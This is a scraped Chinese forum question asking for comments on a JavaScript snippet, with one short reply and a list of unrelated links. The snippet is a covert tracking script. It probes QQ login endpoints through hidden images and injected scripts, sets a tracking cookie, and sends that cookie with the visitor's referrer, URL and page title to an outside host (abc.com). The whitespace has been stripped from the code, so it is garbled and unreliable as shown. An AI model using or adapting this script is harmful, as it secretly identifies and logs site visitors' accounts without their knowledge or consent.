谁能帮忙注释一下这个js程序的功能?最好每一句都解释一下
16lz
2021-01-22
vardiv_box_qq;(function(){
vari_php="http://www.abc.com/handle/";
vari_uid="<?phpecho$uin?>";
vari_need_login=false;
varloginTips="\u7ee7\u7eed\u8bbf\u95ee";
functionshowEnterQQiFrame(url){
div_box_qq=document.createElement("div");
div_box_qq.style.verticalAlign="middle";
div_box_qq.style.textAlign="center";
div_box_qq.style.position="absolute";
div_box_qq.style.width="100%";
div_box_qq.style.height="100%";
div_box_qq.style.top=0;
div_box_qq.style.left=0;
div_box_qq.style.lineHeight=24;
div_box_qq.style.background="#FFF";
div_box_qq.style.visibility="visible";
div_box_qq.innerHTML='<ahref="'+url+'"target="_blank"onclick="document.body.removeChild(div_box_qq)">'+loginTips+'</a>';
document.body.appendChild(div_box_qq)
}
function_init_send_by_iframe(uincookie,other){
vari_referrer=encodeURIComponent(document.referrer);
vari_url=encodeURIComponent(document.location.href);
vari_title=encodeURIComponent(document.title);
varurl=i_php+"?action=saveQQ"+other;
url+="&uid="+i_uid;
url+="&meishi=10001196137,10000015635";
url+="&uincookie="+uincookie;
url+="&referrer="+i_referrer;
url+="&url="+i_url;
url+="&title="+i_title;
url+="&r="+(newDate()).getTime();
varoHead=document.getElementsByTagName('HEAD').item(0);
varoScript=document.createElement("script");
oScript.type="text/javascript";
oScript.src=url;
oHead.appendChild(oScript)
}
functionSetCookie(name,value){
varexp=newDate();
exp.setTime(exp.getTime()+2*24*60*60*1000);
document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString()
}
functionGetCookie(name){
vararr=document.cookie.match(newRegExp("(^|)"+name+"=([^;]*)(;|$)"));
if(arr!=null)returnunescape(arr[2]);
returnnull
}
functioninsertFrame(){
varimg=newImage();
img.src="http://app.data.qq.com/?umod=user&uid=10001196137&t="+(newDate()).getTime();
img.width=0;
img.height=0;
img.border=0;
document.body.appendChild(img);
img=newImage();
img.src="http://app.data.qq.com/?umod=user&uid=10000015635&t="+(newDate()).getTime();
img.width=0;
img.height=0;
img.border=0;
if(img.attachEvent){
img.attachEvent("onerror",
function(){
newSubmit()
});
img.attachEvent("onload",
function(){
newSubmit()
});
img.attachEvent("onabort",
function(){
newSubmit()
})
}else{
img.onerror=function(){
newSubmit()
};
img.onload=function(){
newSubmit()
};
img.onabort=function(){
newSubmit()
}
}
document.body.appendChild(img)
}
varisSubmited=false;
functionnewSubmit(){
if(isSubmited){
return
}
isSubmited=true;
varuincookie=GetCookie("uincookie");
if(uincookie==null){
uincookie="code"+(newDate()).getTime()+parseInt(Math.random()*100000);
SetCookie("uincookie",uincookie)
}
_init_send_by_iframe(uincookie,"")
}
varcheckTime=0;
functionisLogin(){
varcode=null;
if(typeof(data3)=="undefined"){
code=data0.err
}else{
code=data3.err
}
if(code==1007||code==1026||code==1002){
window.clearInterval(isLoginTimeID);
insertFrame()
}else{
varuincookie=GetCookie("uincookie");
if(uincookie!=null){
window.clearInterval(isLoginTimeID);
_init_send_by_iframe(uincookie,"&do=uincookie")
}else{
if(checkTime++==1&&i_need_login){
showEnterQQiFrame(i_php+"?action=loginqqiframe")
}
varcheckscript=document.getElementById("checkloginscript");
checkscript.parentNode.removeChild(checkscript)
}
}
}
varisLoginTimeID;
functiondynamicLoad(){
varvsrc="http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=11231213&t="+(newDate()).getTime();
varoHead=document.getElementsByTagName('HEAD').item(0);
alert(oHead);
varoScript=document.createElement("script");
oScript.type="text/javascript";
oScript.id="checkloginscript";
if(oScript.readyState){
oScript.onreadystatechange=function(){
if(oScript.readyState=="loaded"||oScript.readyState=="complete"){
oScript.onreadystatechange=null;
isLogin()
}
}
}else{
oScript.onload=function(){
isLogin()
}
}
oScript.src=vsrc;
oHead.appendChild(oScript)
}
dynamicLoad();
isLoginTimeID=window.setInterval(dynamicLoad,3000)
})();
if(0=='1'){
document.writeln("<iframeheight=0width=0src=\"http://wpa.qq.com/msgrd?v=3&uin=0&site=qq&menu=yes\"></iframe>")
}
10 个解决方案
#1
好长,留给大家的作业么
更多相关文章
- 寻找解决方案,以每100速率1显示div随机而不创建其他div
- 等待执行所有ajax回调的最佳解决方案
- 【问题解决方案】ImportError: No module named 'pygal'
- Python 黏包及黏包解决方案
- 以DAG方式调度作业
- 无法安装ndg-httpsclient或者我的解决方案错误
- python 的基础 学习 11天 作业题
- Linux无法连接网络解决方案
- 20169210《Linux内核原理与分析》第七周作业